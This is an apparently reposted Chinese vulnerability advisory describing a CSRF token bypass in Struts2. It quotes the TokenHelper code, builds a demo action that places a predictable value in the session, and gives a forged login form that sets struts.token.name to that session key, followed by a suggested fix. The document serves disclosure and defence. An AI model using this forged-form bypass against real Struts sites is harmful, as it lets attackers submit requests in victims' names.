来源:自学PHP网 时间:2015-04-17 13:03 作者: 阅读:次
[导读] 利用Struts的token验证机制,可以通过一些奇淫巧计的手段绕过其验证,使得csrf可以被利用。影响范围:Struts2 all version此漏洞发现者:@Sogili由于Struts提供的token验证是基于用户客户端提交...
利用Struts的token验证机制,可以通过一些奇淫巧计的手段绕过其验证,使得csrf可以被利用。
影响范围:Struts2 all version 此漏洞发现者:@Sogili 由于Struts提供的token验证是基于用户客户端提交的struts.token.name去session中查找对应的值的,如下代码: public static boolean validToken() { String tokenName = getTokenName(); if (tokenName == null) { if (LOG.isDebugEnabled()) { LOG.debug("no token name found -> Invalid token "); } return false; } String token = getToken(tokenName); if (token == null) { if (LOG.isDebugEnabled()) { LOG.debug("no token found for token name "+tokenName+" -> Invalid token "); } return false; } Map session = ActionContext.getContext().getSession(); String sessionToken = (String) session.get(tokenName); if (!token.equals(sessionToken)) { if (LOG.isWarnEnabled()) { LOG.warn(LocalizedTextUtil.findText(TokenHelper.class, "struts.internal.invalid.token", ActionContext.getContext().getLocale(), "Form token {0} does not match the session token {1}.", new Object[]{ token, sessionToken })); } return false; } // remove the token so it won't be used again session.remove(tokenName); return true; } 而tokenName又是来自于用户所提交的参数: /** www.2cto.com * The name of the field which will hold the token name */ public static final String TOKEN_NAME_FIELD = "struts.token.name"; public static String getTokenName() { Map params = ActionContext.getContext().getParameters(); if (!params.containsKey(TOKEN_NAME_FIELD)) { if (LOG.isWarnEnabled()) { LOG.warn("Could not find token name in params."); } return null; } String[] tokenNames = (String[]) params.get(TOKEN_NAME_FIELD); String tokenName; if ((tokenNames == null) || (tokenNames.length < 1)) { if (LOG.isWarnEnabled()) { LOG.warn("Got a null or empty token name."); } return null; } tokenName = tokenNames[0]; return tokenName; } 因此,只要我们伪造表单,将struts.token.name这个hidden的input值设置为已知的session中某个特定key,即可绕过随机串的token值检查,合法合理的重复提交我们的表单。 漏洞证明: 我们模拟一个场景,一般情况下,一个站点总是会把一些用户信息存放在session中作为cache,以免每次都需要从数据库里取值。 这里我用以下代码做了个模拟,直接获取一个nick作为nickname,存放在session中。这些key和value都是可以预知的。 import java.util.Map; import com.opensymphony.xwork2.ActionContext; import com.opensymphony.xwork2.ActionSupport; public class SessionAction extends ActionSupport { private String nick; public String execute() { //这里操作一下session,加入我们可控的值 ActionContext actionContext = ActionContext.getContext(); Map session = actionContext.getSession(); if(nick != null){ session.put("nick", nick.trim()); } return "success"; } public String getNick() { System.out.println("getNick"); return nick; } public void setNick(String nick) { System.out.println("setNIck"); this.nick = nick; } } 然后我们访问一下此action,让我们的session中存在一个可以预知的nick值(通常情况下就是用户注册的昵称)。 http://www.2cto.com /st/session.action?nick=thisIsFakeToken 然后,我们再伪造一个表单: <form id="login" name="login" action="http://www.2cto.com /st/login.action" method="post"> <table class="wwFormTable"> <input type="hidden" name="struts.token.name" value="nick" /> <input type="hidden" name="nick" value="thisIsFakeToken" /> <tr> <td class="tdLabel"><label for="login_username" class="label">用户名:</label></td> <td ><input type="text" name="username" value="" id="login_username"/></td> </tr> <tr> <td class="tdLabel"><label for="login_password" class="label">密 码:</label></td> <td ><input type="text" name="password" value="" id="login_password"/></td> </tr> <tr> <td colspan="2"><div align="right"><input type="submit" id="login_0" value="登录"/> </div></td> </tr> </table></form> 注意这里的struts.token.name修改为nick,而加了个name=nick的hidden值,为我们开始预知的session中nick所对应的内容:thisIsFakeToken。然后我们再来提交一下看看结果: <img src="http://www.2cto.com /upload/image/201205/2012051019354347566.png" /> 提交表单,直接绕过了csrf token验证。 这里提供我本地做测试的测试项目下载:http://pan.baidu.com/netdisk/singlepublic?fid=174815_3909579610 修复方案: 建议将token.name使用struts.xml进行配置,然后在server端按照配置中的key获取value。 作者 GaRY |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com